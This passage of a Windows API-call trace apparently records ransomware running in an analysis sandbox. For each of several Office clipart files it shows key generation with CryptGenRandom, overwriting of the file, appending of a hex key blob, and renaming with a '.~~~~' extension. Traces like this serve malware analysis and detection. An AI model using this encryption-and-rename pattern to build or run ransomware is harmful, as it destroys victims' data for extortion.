	[0103.527] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.527] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.527] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22351683822) returned 1
	[0103.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa76368b0, dwHighDateTime=0x1d60e1e)) 
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cf58
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf58 | out: hHeap=0x300000) returned 1
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867940
	[0103.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.527] GetLastError () returned 0x0
	[0103.528] GetLastError () returned 0x0
	[0103.528] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.528] GetLastError () returned 0x0
	[0103.528] GetLastError () returned 0x0
	[0103.818] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffcffc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.818] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3004, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3004, lpOverlapped=0x0) returned 1
	[0103.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.821] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.821] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.821] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.821] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.821] CloseHandle (hObject=0x138) returned 1
	[0104.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.096] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.~~~~")) returned 1
	[0104.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.163] GetLastError () returned 0x0
	[0104.163] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.165] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.165] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.165] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22415556979) returned 1
	[0104.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7c50110, dwHighDateTime=0x1d60e1e)) 
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863d00
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863d00 | out: hHeap=0x300000) returned 1
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28679d8
	[0104.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.166] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.167] GetLastError () returned 0x0
	[0104.167] GetLastError () returned 0x0
	[0104.167] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.167] GetLastError () returned 0x0
	[0104.167] GetLastError () returned 0x0
	[0104.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffb742, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.211] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x48be, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x48be, lpOverlapped=0x0) returned 1
	[0104.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.212] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.212] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.212] CloseHandle (hObject=0x130) returned 1
	[0104.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.~~~~")) returned 1
	[0104.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.214] GetLastError () returned 0x0
	[0104.214] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.216] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.216] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.216] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22420592872) returned 1
	[0104.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7c9c3d0, dwHighDateTime=0x1d60e1e)) 
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863d70
	[0104.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863d70 | out: hHeap=0x300000) returned 1
	[0104.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865518
	[0104.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.217] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.217] GetLastError () returned 0x0
	[0104.217] GetLastError () returned 0x0
	[0104.217] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.217] GetLastError () returned 0x0
	[0104.218] GetLastError () returned 0x0
	[0104.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff444, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.220] WriteFile (in: hFile=0x130, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0xbbc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0xbbc, lpOverlapped=0x0) returned 1
	[0104.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.225] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.225] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.225] CloseHandle (hObject=0x130) returned 1
	[0104.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.~~~~")) returned 1
	[0104.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.226] GetLastError () returned 0x0
	[0104.227] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.228] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.228] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.229] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22421867325) returned 1
	[0104.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7cc2530, dwHighDateTime=0x1d60e1e)) 
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863da8
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863da8 | out: hHeap=0x300000) returned 1
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868218
	[0104.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.229] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.230] GetLastError () returned 0x0
	[0104.230] GetLastError () returned 0x0
	[0104.230] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.230] GetLastError () returned 0x0
	[0104.230] GetLastError () returned 0x0
	[0104.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffed72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.303] WriteFile (in: hFile=0x130, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x128e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0x128e, lpOverlapped=0x0) returned 1
	[0104.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.305] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.305] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.305] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.305] CloseHandle (hObject=0x130) returned 1
	[0104.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.312] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.~~~~")) returned 1
	[0104.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.354] GetLastError () returned 0x0
	[0104.364] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.365] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.366] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.366] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22435594265) returned 1
	[0104.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7e19190, dwHighDateTime=0x1d60e1e)) 
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863fa0
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863fa0 | out: hHeap=0x300000) returned 1
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28682b0
	[0104.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.367] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.367] GetLastError () returned 0x0
	[0104.367] GetLastError () returned 0x0
	[0104.367] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.367] GetLastError () returned 0x0
	[0104.367] GetLastError () returned 0x0
	[0104.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffa352, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.371] WriteFile (in: hFile=0x130, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x5cae, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0x5cae, lpOverlapped=0x0) returned 1
	[0104.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.373] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.373] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.373] CloseHandle (hObject=0x130) returned 1
	[0104.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d278
	[0104.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.~~~~")) returned 1
	[0104.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d278 | out: hHeap=0x300000) returned 1
